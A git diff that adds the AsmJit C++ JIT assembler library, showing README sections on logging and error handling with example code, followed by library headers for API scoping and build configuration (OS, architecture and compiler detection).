prevent from emitting semantically incorrect instructions, but it can't prevent from emitting code that is semantically correct, but contains bugs. Logging has always been an important part of AsmJit's infrastructure and looking at logs could become handy when your code doesn't work as expected. + +AsmJit's **Logger** provides the following: + * Defines basic logging interface used by AsmJit, + * Allows to reimplement its `Error _log(const char* str, size_t len)` function. + * **FileLogger** implements logging into a C `FILE*` stream. + * **StringLogger** implements logging into AsmJit's `StringBuilder`. + +**Logger** also contains useful options that control the output and what should be logged: + + * **Logger::kOptionBinaryForm** - Output also binary representation of each instruction. + * **Logger::kOptionImmExtended** - Output meaning of some immediate values. + * **Logger::kOptionHexImmediate** - Display all immediates in hexadecimal. + * **Logger::kOptionHexDisplacement** - Display all offsets in hexadecimal. + +**Logger** is typically attached to **CodeHolder** and all attached code emitters automatically use it: + +```c++ +#include +#include + +using namespace asmjit; + +int main(int argc, char* argv[]) { + JitRuntime rt; // Runtime specialized for JIT code execution. + FileLogger logger(stdout); // Logger should always survive the CodeHolder. + + CodeHolder code; // Holds code and relocation information. + code.init(rt.getCodeInfo()); // Initialize to the same arch as JIT runtime. + code.setLogger(&logger); // Attach the `logger` to `code` holder. + + // ... code as usual, everything you emit will be logged to `stdout` ... + + return 0; +} +``` + +### Error Handling + +AsmJit uses error codes to represent and return errors. Every function where error can occur returns **Error**. Exceptions are never thrown by AsmJit even in extreme conditions like out-of-memory. Errors should never be ignored, however, checking errors after each asmjit API call would simply overcomplicate the whole code generation. To handle these errors AsmJit provides **ErrorHandler**, which contains **handleError()**: + + `virtual bool handleError(Error err, const char* message, CodeEmitter* origin) = 0;` + +That can be overridden by AsmJit users and do the following: + + * 1. Return `true` or `false` from `handleError()`. If `true` is returned it means that error was handled and AsmJit can continue execution. The error code still be propagated to the caller, but the error origin (CodeEmitter) won't be put into an error state (last-error won't be set and `isInErrorState()` would return `true`). However, `false` reports to AsmJit that the error cannot be handled - in such case it stores the error, which can be retrieved later by `getLastError()`. Returning `false` is the default behavior when no error handler is provided. To put the assembler into a non-error state again `resetLastError()` must be called. + * 2. Throw an exception. AsmJit doesn't use exceptions and is completely exception-safe, but you can throw exception from the error handler if this way is easier / preferred by you. Throwing an exception acts virtually as returning `true` - AsmJit won't store the error. + * 3. Use plain old C's `setjmp()` and `longjmp()`. Asmjit always puts `Assembler` and `Compiler` to a consistent state before calling the `handleError()` so `longjmp()` can be used without issues to cancel the code-generation if an error occurred. This method can be used if exception handling in your project is turned off and you still want some comfort. In most cases it should be safe as AsmJit is based on Zone memory, so no memory leaks will occur if you jump back to a location where `CodeHolder` still exist. + +**ErrorHandler** is simply attached to **CodeHolder** and will be used by every emitter attached to it. The first example uses error handler that just prints the error, but lets AsmJit continue: + +```c++ +// Error handling #1: +#include + +#include + +// Error handler that just prints the error and lets AsmJit ignore it. +class PrintErrorHandler : public asmjit::ErrorHandler { +public: + // Return `true` to set last error to `err`, return `false` to do nothing. + bool handleError(asmjit::Error err, const char* message, asmjit::CodeEmitter* origin) override { + fprintf(stderr, "ERROR: %s\n", message); + return false; + } +}; + +int main(int argc, char* argv[]) { + using namespace asmjit; + + JitRuntime rt; + PrintErrorHandler eh; + + CodeHolder code; + code.init(rt.getCodeInfo()); + code.setErrorHandler(&eh); + + // Try to emit instruction that doesn't exist. + X86Assembler a(&code); + a.emit(X86Inst::kIdMov, x86::xmm0, x86::xmm1); + + return 0; +} +``` + +If error happens during instruction emitting / encoding the assembler behaves transactionally - the output buffer won't advance if encoding failed, thus either a fully encoded instruction or nothing is emitted. The error handling shown above is useful, but it's still not the best way of dealing with errors in AsmJit. The following example shows how to use exception handling to handle errors in a more C++ way: + +```c++ +// Error handling #2: +#include + +#include +#include +#include + +// Error handler that throws a user-defined `AsmJitException`. +class AsmJitException : public std::exception { +public: + AsmJitException(asmjit::Error err, const char* message) noexcept + : error(err), + message(message) {} + + const char* what() const noexcept override { return message.c_str(); } + + asmjit::Error error; + std::string message; +}; + +class ThrowErrorHandler : public asmjit::ErrorHandler { +public: + // Throw is possible, functions that use ErrorHandler are never 'noexcept'. + bool handleError(asmjit::Error err, const char* message, asmjit::CodeEmitter* origin) override { + throw AsmJitException(err, message); + } +}; + +int main(int argc, char* argv[]) { + using namespace asmjit; + + JitRuntime rt; + ThrowErrorHandler eh; + + CodeHolder code; + code.init(rt.getCodeInfo()); + code.setErrorHandler(&eh); + + // Try to emit instruction that doesn't exist. + try { + X86Assembler a(&code); + a.emit(X86Inst::kIdMov, x86::xmm0, x86::xmm1); + } + catch (const AsmJitException& ex) { + printf("EXCEPTION THROWN: %s\n", ex.what()); + } + + return 0; +} +``` + +If C++ exceptions are not what you like or your project turns off them completely there is still a way of reducing the error handling to a minimum by using a standard `setjmp/longjmp` approach. AsmJit is exception-safe and cleans up everything before calling the **ErrorHandler**, so any approach is safe. You can simply jump from the error handler without causing any side-effects or memory leaks. The following example demonstrates how it could be done: + +```c++ +// Error handling #3: +#include + +#include +#include + +class LongJmpErrorHandler : public asmjit::ErrorHandler { +public: + inline LongJmpErrorHandler() : err(asmjit::kErrorOk) {} + + virtual bool handleError(asmjit::Error err, const char* message, asmjit::CodeEmitter* origin) { + this->err = err; + longjmp(state, 1); + } + + jmp_buf state; + asmjit::Error err; +}; + +int main(int argc, char* argv[]) { + using namespace asmjit; + + JitRuntime rt; + LongJmpErrorHandler eh; + + CodeHolder code; + code.init(rt.getCodeInfo()); + code.setErrorHandler(&eh); + + // Try to emit instruction that doesn't exist. + X86Assembler a(&code); + if (!setjmp(eh.state)) { + a.emit(X86Inst::kIdMov, x86::xmm0, x86::xmm1); + } + else { + Error err = eh.err; + printf("ASMJIT ERROR: 0x%08X [%s]\n", err, DebugUtils::errorAsString(err)); + } + + return 0; +} +``` + +### TODO + +...More documentation... + +Support +------- + +Please consider a donation if you use the project and would like to keep it active in the future. + + * [Donate by PayPal](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=QDRM6SRNG7378&lc=EN;&item_name=asmjit¤cy_code=EUR) + +Received From: + + * [PELock - Software copy protection and license key system](https://www.pelock.com) + +Authors & Maintainers +--------------------- + + * Petr Kobalicek diff --git a/asmjit/cxxconfig.js b/asmjit/cxxconfig.js new file mode 100644 index 0000000..c82eb74 --- /dev/null +++ b/asmjit/cxxconfig.js @@ -0,0 +1,16 @@ +module.exports = { + product: "asmjit", + version: "1.0.0", + + prefix: "ASMJIT", + source: "src/asmjit", + + tools: { + NoTabs : true, + NoTrailingLines : true, + NoTrailingSpaces: true, + UnixEOL : true, + SortIncludes : true, + ExpandTemplates : true + } +}; diff --git a/asmjit/src/asmjit/arm.h b/asmjit/src/asmjit/arm.h new file mode 100644 index 0000000..0a916d9 --- /dev/null +++ b/asmjit/src/asmjit/arm.h @@ -0,0 +1,21 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_ARM_H +#define _ASMJIT_ARM_H + +// [Dependencies] +#include "./base.h" + +#include "./arm/armassembler.h" +#include "./arm/armbuilder.h" +#include "./arm/armcompiler.h" +#include "./arm/arminst.h" +#include "./arm/armoperand.h" + +// [Guard] +#endif // _ASMJIT_ARM_H diff --git a/asmjit/src/asmjit/asmjit.h b/asmjit/src/asmjit/asmjit.h new file mode 100644 index 0000000..ead90f0 --- /dev/null +++ b/asmjit/src/asmjit/asmjit.h @@ -0,0 +1,47 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_ASMJIT_H +#define _ASMJIT_ASMJIT_H + +// ============================================================================ +// [asmjit_mainpage] +// ============================================================================ + +//! \mainpage +//! +//! AsmJit - Complete x86/x64 JIT and Remote Assembler for C++. +//! +//! Introduction provided by the project page at https://github.com/asmjit/asmjit. + +//! \defgroup asmjit_base AsmJit Base API (architecture independent) +//! +//! \brief Backend Neutral API. + +//! \defgroup asmjit_x86 AsmJit X86/X64 API +//! +//! \brief X86/X64 Backend API. + +//! \defgroup asmjit_arm AsmJit ARM32/ARM64 API +//! +//! \brief ARM32/ARM64 Backend API. + +// [Dependencies] +#include "./base.h" + +// [X86/X64] +#if defined(ASMJIT_BUILD_X86) +#include "./x86.h" +#endif // ASMJIT_BUILD_X86 + +// [ARM32/ARM64] +#if defined(ASMJIT_BUILD_ARM) +#include "./arm.h" +#endif // ASMJIT_BUILD_ARM + +// [Guard] +#endif // _ASMJIT_ASMJIT_H diff --git a/asmjit/src/asmjit/asmjit_apibegin.h b/asmjit/src/asmjit/asmjit_apibegin.h new file mode 100644 index 0000000..58d16db --- /dev/null +++ b/asmjit/src/asmjit/asmjit_apibegin.h @@ -0,0 +1,117 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#if !defined(_ASMJIT_BUILD_H) +# include "./build.h" +#endif // !_ASMJIT_BUILD_H + +// [Guard] +#if !defined(ASMJIT_API_SCOPE) +# define ASMJIT_API_SCOPE +#else +# error "[asmjit] api-scope is already active, previous scope not closed by asmjit_apiend.h?" +#endif // ASMJIT_API_SCOPE + +// ============================================================================ +// [C++ Support] +// ============================================================================ + +// [NoExcept] +#if !ASMJIT_CC_HAS_NOEXCEPT && !defined(noexcept) +# define noexcept ASMJIT_NOEXCEPT +# define ASMJIT_UNDEF_NOEXCEPT +#endif // !ASMJIT_CC_HAS_NOEXCEPT && !noexcept + +// [NullPtr] +#if !ASMJIT_CC_HAS_NULLPTR && !defined(nullptr) +# define nullptr NULL +# define ASMJIT_UNDEF_NULLPTR +#endif // !ASMJIT_CC_HAS_NULLPTR && !nullptr + +// [Override] +#if !ASMJIT_CC_HAS_OVERRIDE && !defined(override) +# define override +# define ASMJIT_UNDEF_OVERRIDE +#endif // !ASMJIT_CC_HAS_OVERRIDE && !override + +// ============================================================================ +// [Compiler Support] +// ============================================================================ + +// [Clang] +#if ASMJIT_CC_CLANG +# pragma clang diagnostic push +# pragma clang diagnostic ignored "-Wc++11-extensions" +# pragma clang diagnostic ignored "-Wconstant-logical-operand" +# pragma clang diagnostic ignored "-Wunnamed-type-template-args" +#endif // ASMJIT_CC_CLANG + +// [GCC] +#if ASMJIT_CC_GCC +# pragma GCC diagnostic push +#endif // ASMJIT_CC_GCC + +// [MSC] +#if ASMJIT_CC_MSC +# pragma warning(push) +# pragma warning(disable: 4127) // conditional expression is constant +# pragma warning(disable: 4201) // nameless struct/union +# pragma warning(disable: 4244) // '+=' : conversion from 'int' to 'x', possible loss of data +# pragma warning(disable: 4251) // struct needs to have dll-interface to be used by clients of struct ... +# pragma warning(disable: 4275) // non dll-interface struct ... used as base for dll-interface struct +# pragma warning(disable: 4355) // this used in base member initializer list +# pragma warning(disable: 4480) // specifying underlying type for enum +# pragma warning(disable: 4800) // forcing value to bool 'true' or 'false' +# if _MSC_VER < 1900 +# if !defined(vsnprintf) +# define ASMJIT_UNDEF_VSNPRINTF +# define vsnprintf _vsnprintf +# endif // !vsnprintf +# if !defined(snprintf) +# define ASMJIT_UNDEF_SNPRINTF +# define snprintf _snprintf +# endif // !snprintf +# endif +#endif // ASMJIT_CC_MSC + +// ============================================================================ +// [Custom Macros] +// ============================================================================ + +// [ASMJIT_NON...] +#if ASMJIT_CC_HAS_DELETE_FUNCTION +#define ASMJIT_NONCONSTRUCTIBLE(...) \ +private: \ + __VA_ARGS__() = delete; \ + __VA_ARGS__(const __VA_ARGS__& other) = delete; \ + __VA_ARGS__& operator=(const __VA_ARGS__& other) = delete; \ +public: +#define ASMJIT_NONCOPYABLE(...) \ +private: \ + __VA_ARGS__(const __VA_ARGS__& other) = delete; \ + __VA_ARGS__& operator=(const __VA_ARGS__& other) = delete; \ +public: +#else +#define ASMJIT_NONCONSTRUCTIBLE(...) \ +private: \ + inline __VA_ARGS__(); \ + inline __VA_ARGS__(const __VA_ARGS__& other); \ + inline __VA_ARGS__& operator=(const __VA_ARGS__& other); \ +public: +#define ASMJIT_NONCOPYABLE(...) \ +private: \ + inline __VA_ARGS__(const __VA_ARGS__& other); \ + inline __VA_ARGS__& operator=(const __VA_ARGS__& other); \ +public: +#endif // ASMJIT_CC_HAS_DELETE_FUNCTION + +// [ASMJIT_ENUM] +#if defined(_MSC_VER) && _MSC_VER >= 1400 +# define ASMJIT_ENUM(NAME) enum NAME : uint32_t +#else +# define ASMJIT_ENUM(NAME) enum NAME +#endif diff --git a/asmjit/src/asmjit/asmjit_apiend.h b/asmjit/src/asmjit/asmjit_apiend.h new file mode 100644 index 0000000..a51630b --- /dev/null +++ b/asmjit/src/asmjit/asmjit_apiend.h @@ -0,0 +1,74 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#if defined(ASMJIT_API_SCOPE) +# undef ASMJIT_API_SCOPE +#else +# error "[asmjit] api-scope not active, forgot to include asmjit_apibegin.h?" +#endif // ASMJIT_API_SCOPE + +// ============================================================================ +// [C++ Support] +// ============================================================================ + +// [NoExcept] +#if defined(ASMJIT_UNDEF_NOEXCEPT) +# undef noexcept +# undef ASMJIT_UNDEF_NOEXCEPT +#endif // ASMJIT_UNDEF_NOEXCEPT + +// [NullPtr] +#if defined(ASMJIT_UNDEF_NULLPTR) +# undef nullptr +# undef ASMJIT_UNDEF_NULLPTR +#endif // ASMJIT_UNDEF_NULLPTR + +// [Override] +#if defined(ASMJIT_UNDEF_OVERRIDE) +# undef override +# undef ASMJIT_UNDEF_OVERRIDE +#endif // ASMJIT_UNDEF_OVERRIDE + +// ============================================================================ +// [Compiler Support] +// ============================================================================ + +// [Clang] +#if ASMJIT_CC_CLANG +# pragma clang diagnostic pop +#endif // ASMJIT_CC_CLANG + +// [GCC] +#if ASMJIT_CC_GCC +# pragma GCC diagnostic pop +#endif // ASMJIT_CC_GCC + +// [MSC] +#if ASMJIT_CC_MSC +# pragma warning(pop) +# if _MSC_VER < 1900 +# if defined(ASMJIT_UNDEF_VSNPRINTF) +# undef vsnprintf +# undef ASMJIT_UNDEF_VSNPRINTF +# endif // ASMJIT_UNDEF_VSNPRINTF +# if defined(ASMJIT_UNDEF_SNPRINTF) +# undef snprintf +# undef ASMJIT_UNDEF_SNPRINTF +# endif // ASMJIT_UNDEF_SNPRINTF +# endif +#endif // ASMJIT_CC_MSC + +// ============================================================================ +// [Custom Macros] +// ============================================================================ + +// [ASMJIT_NON...] +#undef ASMJIT_NONCONSTRUCTIBLE +#undef ASMJIT_NONCOPYABLE + +// [ASMJIT_ENUM] +#undef ASMJIT_ENUM diff --git a/asmjit/src/asmjit/asmjit_build.h b/asmjit/src/asmjit/asmjit_build.h new file mode 100644 index 0000000..77b151a --- /dev/null +++ b/asmjit/src/asmjit/asmjit_build.h @@ -0,0 +1,949 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BUILD_H +#define _ASMJIT_BUILD_H + +// ============================================================================ +// [asmjit::Build - Configuration] +// ============================================================================ + +// AsmJit is by default compiled only for a host processor for the purpose of +// JIT code generation. Both Assembler and CodeCompiler emitters are compiled +// by default. Preprocessor macros can be used to change the default behavior. + +// External Config File +// -------------------- +// +// Define in case your configuration is generated in an external file to be +// included. + +#if defined(ASMJIT_CONFIG_FILE) +# include ASMJIT_CONFIG_FILE +#endif // ASMJIT_CONFIG_FILE + +// AsmJit Static Builds and Embedding +// ---------------------------------- +// +// These definitions can be used to enable static library build. Embed is used +// when AsmJit's source code is embedded directly in another project, implies +// static build as well. +// +// #define ASMJIT_EMBED // Asmjit is embedded (implies ASMJIT_STATIC). +// #define ASMJIT_STATIC // Define to enable static-library build. + +// AsmJit Build Modes +// ------------------ +// +// These definitions control the build mode and tracing support. The build mode +// should be auto-detected at compile time, but it's possible to override it in +// case that the auto-detection fails. +// +// Tracing is a feature that is never compiled by default and it's only used to +// debug AsmJit itself. +// +// #define ASMJIT_DEBUG // Define to enable debug-mode. +// #define ASMJIT_RELEASE // Define to enable release-mode. + +// AsmJit Build Backends +// --------------------- +// +// These definitions control which backends to compile. If none of these is +// defined AsmJit will use host architecture by default (for JIT code generation). +// +// #define ASMJIT_BUILD_X86 // Define to enable X86 and X64 code-generation. +// #define ASMJIT_BUILD_ARM // Define to enable ARM32 and ARM64 code-generation. +// #define ASMJIT_BUILD_HOST // Define to enable host instruction set. + +// AsmJit Build Features +// --------------------- +// +// Flags can be defined to disable standard features. These are handy especially +// when building AsmJit statically and some features are not needed or unwanted +// (like CodeCompiler). +// +// AsmJit features are enabled by default. +// #define ASMJIT_DISABLE_COMPILER // Disable CodeCompiler (completely). +// #define ASMJIT_DISABLE_LOGGING // Disable logging and formatting (completely). +// #define ASMJIT_DISABLE_TEXT // Disable everything that contains text +// // representation (instructions, errors, ...). +// #define ASMJIT_DISABLE_VALIDATION // Disable Validation (completely). + +// Prevent compile-time errors caused by misconfiguration. +#if defined(ASMJIT_DISABLE_TEXT) && !defined(ASMJIT_DISABLE_LOGGING) +# error "[asmjit] ASMJIT_DISABLE_TEXT requires ASMJIT_DISABLE_LOGGING to be defined." +#endif // ASMJIT_DISABLE_TEXT && !ASMJIT_DISABLE_LOGGING + +// Detect ASMJIT_DEBUG and ASMJIT_RELEASE if not forced from outside. +#if !defined(ASMJIT_DEBUG) && !defined(ASMJIT_RELEASE) +# if !defined(NDEBUG) +# define ASMJIT_DEBUG +# else +# define ASMJIT_RELEASE +# endif +#endif + +// ASMJIT_EMBED implies ASMJIT_STATIC. +#if defined(ASMJIT_EMBED) && !defined(ASMJIT_STATIC) +# define ASMJIT_STATIC +#endif + +// ============================================================================ +// [asmjit::Build - VERSION] +// ============================================================================ + +// [@VERSION{@] +#define ASMJIT_VERSION_MAJOR 1 +#define ASMJIT_VERSION_MINOR 0 +#define ASMJIT_VERSION_PATCH 0 +#define ASMJIT_VERSION_STRING "1.0.0" +// [@VERSION}@] + +// ============================================================================ +// [asmjit::Build - WIN32] +// ============================================================================ + +// [@WIN32_CRT_NO_DEPRECATE{@] +#if defined(_MSC_VER) && defined(ASMJIT_EXPORTS) +# if !defined(_CRT_SECURE_NO_DEPRECATE) +# define _CRT_SECURE_NO_DEPRECATE +# endif +# if !defined(_CRT_SECURE_NO_WARNINGS) +# define _CRT_SECURE_NO_WARNINGS +# endif +#endif +// [@WIN32_CRT_NO_DEPRECATE}@] + +// [@WIN32_LEAN_AND_MEAN{@] +#if (defined(_WIN32) || defined(_WINDOWS)) && !defined(_WINDOWS_) +# if !defined(WIN32_LEAN_AND_MEAN) +# define WIN32_LEAN_AND_MEAN +# define ASMJIT_UNDEF_WIN32_LEAN_AND_MEAN +# endif +# if !defined(NOMINMAX) +# define NOMINMAX +# define ASMJIT_UNDEF_NOMINMAX +# endif +# include +# if defined(ASMJIT_UNDEF_NOMINMAX) +# undef NOMINMAX +# undef ASMJIT_UNDEF_NOMINMAX +# endif +# if defined(ASMJIT_UNDEF_WIN32_LEAN_AND_MEAN) +# undef WIN32_LEAN_AND_MEAN +# undef ASMJIT_UNDEF_WIN32_LEAN_AND_MEAN +# endif +#endif +// [@WIN32_LEAN_AND_MEAN}@] + +// ============================================================================ +// [asmjit::Build - OS] +// ============================================================================ + +// [@OS{@] +#if defined(_WIN32) || defined(_WINDOWS) +#define ASMJIT_OS_WINDOWS (1) +#else +#define ASMJIT_OS_WINDOWS (0) +#endif + +#if defined(__APPLE__) +# include +# define ASMJIT_OS_MAC (TARGET_OS_MAC) +# define ASMJIT_OS_IOS (TARGET_OS_IPHONE) +#else +# define ASMJIT_OS_MAC (0) +# define ASMJIT_OS_IOS (0) +#endif + +#if defined(__ANDROID__) +# define ASMJIT_OS_ANDROID (1) +#else +# define ASMJIT_OS_ANDROID (0) +#endif + +#if defined(__linux__) || defined(__ANDROID__) +# define ASMJIT_OS_LINUX (1) +#else +# define ASMJIT_OS_LINUX (0) +#endif + +#if defined(__DragonFly__) +# define ASMJIT_OS_DRAGONFLYBSD (1) +#else +# define ASMJIT_OS_DRAGONFLYBSD (0) +#endif + +#if defined(__FreeBSD__) +# define ASMJIT_OS_FREEBSD (1) +#else +# define ASMJIT_OS_FREEBSD (0) +#endif + +#if defined(__NetBSD__) +# define ASMJIT_OS_NETBSD (1) +#else +# define ASMJIT_OS_NETBSD (0) +#endif + +#if defined(__OpenBSD__) +# define ASMJIT_OS_OPENBSD (1) +#else +# define ASMJIT_OS_OPENBSD (0) +#endif + +#if defined(__QNXNTO__) +# define ASMJIT_OS_QNX (1) +#else +# define ASMJIT_OS_QNX (0) +#endif + +#if defined(__sun) +# define ASMJIT_OS_SOLARIS (1) +#else +# define ASMJIT_OS_SOLARIS (0) +#endif + +#if defined(__CYGWIN__) +# define ASMJIT_OS_CYGWIN (1) +#else +# define ASMJIT_OS_CYGWIN (0) +#endif + +#define ASMJIT_OS_BSD ( \ + ASMJIT_OS_FREEBSD || \ + ASMJIT_OS_DRAGONFLYBSD || \ + ASMJIT_OS_NETBSD || \ + ASMJIT_OS_OPENBSD || \ + ASMJIT_OS_MAC) +#define ASMJIT_OS_POSIX (!ASMJIT_OS_WINDOWS) +// [@OS}@] + +// ============================================================================ +// [asmjit::Build - ARCH] +// ============================================================================ + +// [@ARCH{@] +// \def ASMJIT_ARCH_ARM32 +// True if the target architecture is a 32-bit ARM. +// +// \def ASMJIT_ARCH_ARM64 +// True if the target architecture is a 64-bit ARM. +// +// \def ASMJIT_ARCH_X86 +// True if the target architecture is a 32-bit X86/IA32 +// +// \def ASMJIT_ARCH_X64 +// True if the target architecture is a 64-bit X64/AMD64 +// +// \def ASMJIT_ARCH_LE +// True if the target architecture is little endian. +// +// \def ASMJIT_ARCH_BE +// True if the target architecture is big endian. +// +// \def ASMJIT_ARCH_64BIT +// True if the target architecture is 64-bit. + +#if (defined(_M_X64 ) || defined(__x86_64) || defined(__x86_64__) || \ + defined(_M_AMD64) || defined(__amd64 ) || defined(__amd64__ )) +# define ASMJIT_ARCH_X64 1 +#else +# define ASMJIT_ARCH_X64 0 +#endif + +#if (defined(_M_IX86 ) || defined(__X86__ ) || defined(__i386 ) || \ + defined(__IA32__) || defined(__I86__ ) || defined(__i386__) || \ + defined(__i486__) || defined(__i586__) || defined(__i686__)) +# define ASMJIT_ARCH_X86 (!ASMJIT_ARCH_X64) +#else +# define ASMJIT_ARCH_X86 0 +#endif + +#if defined(__aarch64__) +# define ASMJIT_ARCH_ARM64 1 +#else +# define ASMJIT_ARCH_ARM64 0 +#endif + +#if (defined(_M_ARM ) || defined(__arm ) || defined(__thumb__ ) || \ + defined(_M_ARMT ) || defined(__arm__ ) || defined(__thumb2__)) +# define ASMJIT_ARCH_ARM32 (!ASMJIT_ARCH_ARM64) +#else +# define ASMJIT_ARCH_ARM32 0 +#endif + +#define ASMJIT_ARCH_LE ( \ + ASMJIT_ARCH_X86 || \ + ASMJIT_ARCH_X64 || \ + ASMJIT_ARCH_ARM32 || \ + ASMJIT_ARCH_ARM64 ) +#define ASMJIT_ARCH_BE (!(ASMJIT_ARCH_LE)) +#define ASMJIT_ARCH_64BIT (ASMJIT_ARCH_X64 || ASMJIT_ARCH_ARM64) +// [@ARCH}@] + +// [@ARCH_UNALIGNED_RW{@] +// \def ASMJIT_ARCH_UNALIGNED_16 +// True if the target architecture allows unaligned 16-bit reads and writes. +// +// \def ASMJIT_ARCH_UNALIGNED_32 +// True if the target architecture allows unaligned 32-bit reads and writes. +// +// \def ASMJIT_ARCH_UNALIGNED_64 +// True if the target architecture allows unaligned 64-bit reads and writes. + +#define ASMJIT_ARCH_UNALIGNED_16 (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) +#define ASMJIT_ARCH_UNALIGNED_32 (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) +#define ASMJIT_ARCH_UNALIGNED_64 (ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64) +// [@ARCH_UNALIGNED_RW}@] + +// ============================================================================ +// [asmjit::Build - CC] +// ============================================================================ + +// [@CC{@] +// \def ASMJIT_CC_CLANG +// Non-zero if the detected C++ compiler is CLANG (contains normalized CLANG version). +// +// \def ASMJIT_CC_CODEGEAR +// Non-zero if the detected C++ compiler is CODEGEAR or BORLAND (version not normalized). +// +// \def ASMJIT_CC_INTEL +// Non-zero if the detected C++ compiler is INTEL (version not normalized). +// +// \def ASMJIT_CC_GCC +// Non-zero if the detected C++ compiler is GCC (contains normalized GCC version). +// +// \def ASMJIT_CC_MSC +// Non-zero if the detected C++ compiler is MSC (contains normalized MSC version). +// +// \def ASMJIT_CC_MINGW +// Non-zero if the detected C++ compiler is MINGW32 (set to 32) or MINGW64 (set to 64). + +#define ASMJIT_CC_CLANG 0 +#define ASMJIT_CC_CODEGEAR 0 +#define ASMJIT_CC_GCC 0 +#define ASMJIT_CC_INTEL 0 +#define ASMJIT_CC_MSC 0 + +// Intel masquerades as GCC, so check for it first. +#if defined(__INTEL_COMPILER) +# undef ASMJIT_CC_INTEL +# define ASMJIT_CC_INTEL __INTEL_COMPILER +#elif defined(__CODEGEARC__) +# undef ASMJIT_CC_CODEGEAR +# define ASMJIT_CC_CODEGEAR (__CODEGEARC__) +#elif defined(__BORLANDC__) +# undef ASMJIT_CC_CODEGEAR +# define ASMJIT_CC_CODEGEAR (__BORLANDC__) +#elif defined(__clang__) && defined(__clang_minor__) +# undef ASMJIT_CC_CLANG +# define ASMJIT_CC_CLANG (__clang_major__ * 10000000 + __clang_minor__ * 100000 + __clang_patchlevel__) +#elif defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) +# undef ASMJIT_CC_GCC +# define ASMJIT_CC_GCC (__GNUC__ * 10000000 + __GNUC_MINOR__ * 100000 + __GNUC_PATCHLEVEL__) +#elif defined(_MSC_VER) && defined(_MSC_FULL_VER) +# undef ASMJIT_CC_MSC +# if _MSC_VER == _MSC_FULL_VER / 10000 +# define ASMJIT_CC_MSC (_MSC_VER * 100000 + (_MSC_FULL_VER % 10000)) +# else +# define ASMJIT_CC_MSC (_MSC_VER * 100000 + (_MSC_FULL_VER % 100000)) +# endif +#else +# error "[asmjit] Unable to detect the C/C++ compiler." +#endif + +#if ASMJIT_CC_INTEL && (defined(__GNUC__) || defined(__clang__)) +# define ASMJIT_CC_INTEL_COMPAT_MODE 1 +# else +# define ASMJIT_CC_INTEL_COMPAT_MODE 0 +#endif + +#define ASMJIT_CC_CODEGEAR_EQ(x, y) (ASMJIT_CC_CODEGEAR == (((x) << 8) + (y))) +#define ASMJIT_CC_CODEGEAR_GE(x, y) (ASMJIT_CC_CODEGEAR >= (((x) << 8) + (y))) + +#define ASMJIT_CC_CLANG_EQ(x, y, z) (ASMJIT_CC_CLANG == ((x) * 10000000 + (y) * 100000 + (z))) +#define ASMJIT_CC_CLANG_GE(x, y, z) (ASMJIT_CC_CLANG >= ((x) * 10000000 + (y) * 100000 + (z))) + +#define ASMJIT_CC_GCC_EQ(x, y, z) (ASMJIT_CC_GCC == ((x) * 10000000 + (y) * 100000 + (z))) +#define ASMJIT_CC_GCC_GE(x, y, z) (ASMJIT_CC_GCC >= ((x) * 10000000 + (y) * 100000 + (z))) + +#define ASMJIT_CC_INTEL_EQ(x, y) (ASMJIT_CC_INTEL == (((x) * 100) + (y))) +#define ASMJIT_CC_INTEL_GE(x, y) (ASMJIT_CC_INTEL >= (((x) * 100) + (y))) + +#define ASMJIT_CC_MSC_EQ(x, y, z) (ASMJIT_CC_MSC == ((x) * 10000000 + (y) * 100000 + (z))) +#define ASMJIT_CC_MSC_GE(x, y, z) (ASMJIT_CC_MSC >= ((x) * 10000000 + (y) * 100000 + (z))) + +#if defined(__MINGW64__) +# define ASMJIT_CC_MINGW 64 +#elif defined(__MINGW32__) +# define ASMJIT_CC_MINGW 32 +#else +# define ASMJIT_CC_MINGW 0 +#endif + +#if defined(__cplusplus) +# if __cplusplus >= 201103L +# define ASMJIT_CC_CXX_VERSION __cplusplus +# elif defined(__GXX_EXPERIMENTAL_CXX0X__) || ASMJIT_CC_MSC_GE(18, 0, 0) || ASMJIT_CC_INTEL_GE(14, 0) +# define ASMJIT_CC_CXX_VERSION 201103L +# else +# define ASMJIT_CC_CXX_VERSION 199711L +# endif +#endif + +#if !defined(ASMJIT_CC_CXX_VERSION) +# define ASMJIT_CC_CXX_VERSION 0 +#endif +// [@CC}@] + +// [@CC_FEATURES{@] +#if ASMJIT_CC_CLANG +# define ASMJIT_CC_HAS_ATTRIBUTE (1) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALIGNED (__has_attribute(__aligned__)) +# define ASMJIT_CC_HAS_ATTRIBUTE_ALWAYS_INLINE (__has_attribute(__always_inline__)) +# define ASMJIT_CC_HAS_ATTRIBUTE_NOINLINE (__has_attribute(__noinline__)) +# define ASMJIT_CC_HAS_ATTRIBUTE_NORETURN (__has_attribute(__noreturn__)) +# define ASMJIT_CC_HAS_ATTRIBUTE_OPTIMIZE (__has_attribute(__optimize__)) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME (__has_builtin(__builtin_assume)) +# define ASMJIT_CC_HAS_BUILTIN_ASSUME_ALIGNED (__has_builtin(__builtin_assume_aligned)) +# define ASMJIT_CC_HAS_BUILTIN_EXPECT (__has_builtin(__builtin_expect)) +# define ASMJIT_CC_HAS_BUILTIN_UNREACHABLE (__has_builtin(__builtin_unreachable)) +# define ASMJIT_CC_HAS_ALIGNAS (__has_extension(__cxx_alignas__)) +# define ASMJIT_CC_HAS_ALIGNOF (__has_extension(__cxx_alignof__)) +# define ASMJIT_CC_HAS_CONSTEXPR 